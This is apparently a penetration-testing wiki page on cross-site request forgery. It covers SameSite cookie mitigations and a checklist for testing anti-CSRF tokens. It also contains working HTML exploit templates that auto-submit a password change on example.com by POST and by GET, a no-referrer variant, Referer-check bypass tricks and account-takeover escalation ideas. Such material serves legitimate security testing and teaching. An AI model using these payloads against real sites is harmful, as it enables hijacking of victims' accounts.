Skip to content

Cross-Site Request Forgery (CSRF)

A client-side technique used to attack other users of a web application. Using CSRF, attackers carry out unwanted actions on a victim's behalf.

Mitigations

Browsers

  • Chrome 80 in February, 2020 started treating all cookies as SameSite=lax. It also required all cookies that were issued with SameSite=none to have the secure attribute. This will prevent most CSRF attacks from succeeding, with a few exceptions. SameSite Chrome
  • Firefox Nightly 75 in February, 2020 does the same. SameSite Firefox

Developers

All session tokens should be issued with the Secure attribute and a defined SameSite attribute with either Lax or Strict. MDN SameSite Info

Hunting for CSRFs

  • Look for state-changing actions, then examine them for the presence of Anti-CSRF Tokens. Some sites can use the referer header as a psuedo-CSRF protection. So once you have found a page that is likely vulnerable, verify it.
  • Try to send an invalid Anti-CSRF token and verify that it is rejected.
  • Try to send the same request without the Anti-CSRF token and verify that it is rejected.
  • Try to send the same request with a blank Anti-CSRF token and verify that it is rejected.
  • Try to send the same request with a valid Anti-CSRF token from another session.
  • If the same Anti-CSRF token is found in both the cookie and the form. Try changing them both to the same invalid value and submitting the form.

Exploit

POST

Here is an example exploit to change someones password using a POST request.

<html>
  <form method="POST" action="https://www.example.com/password_change" id="webForm">
    <input type="text" name="new_password" value="now I know the password1!">
    <input type="submit" value="Submit">
  </form>
  <script>
    document.getElementById("webForm").submit();
  </script>
</html>

Some sites will accept the same stat-changing action as both a POST and a GET. Try and see if the site will allow a GET request with the body items as URL parameters.

GET

An example exploit using a GET request

<html>
  <img src="https://www.example.com/password_change?new_password=now%20I%20know%20the%20password1!">
</html>

Referer Header

If the site is checking the Referer header for psuedo-CSRF protection you may be able to remove the header all together (try content="no-referrer" and content="none"):

<html>
  <meta name="referrer" content="no-referrer">
  <form method="POST" action="https://www.example.com/password_change" id="webForm">
    <input type="text" name="new_password" value="now I know the password1!">
    <input type="submit" value="Submit">
  </form>
  <script>
    document.getElementById("webForm").submit();
  </script>
</html>

If the website checks that the Referer header starts with the proper domain, you may be able to create the real domain as a subdomain and exploit the CSRF attack. For example if the victim site is www.victim.com and you own the site hackd.io you can setup a webserver at www.victim.com.hackd.io and it will pass the check. The same if the website uses something like contains, this time you can simple make a page at https://hackd.io/www.victim.com and it will pass.

Session Riding

If you have found an XSS vulnerability, you can use JavaScript to parse the form and get the correct Anti-CSRF token and submit it.

Escalate

Once a CSRF vulnerability has been found and verified, escalate the finding (based on capabilities of victim site):

  • Leak user information
  • Create self-XSS attack
  • Take over account using change password/change email functionality
Back to top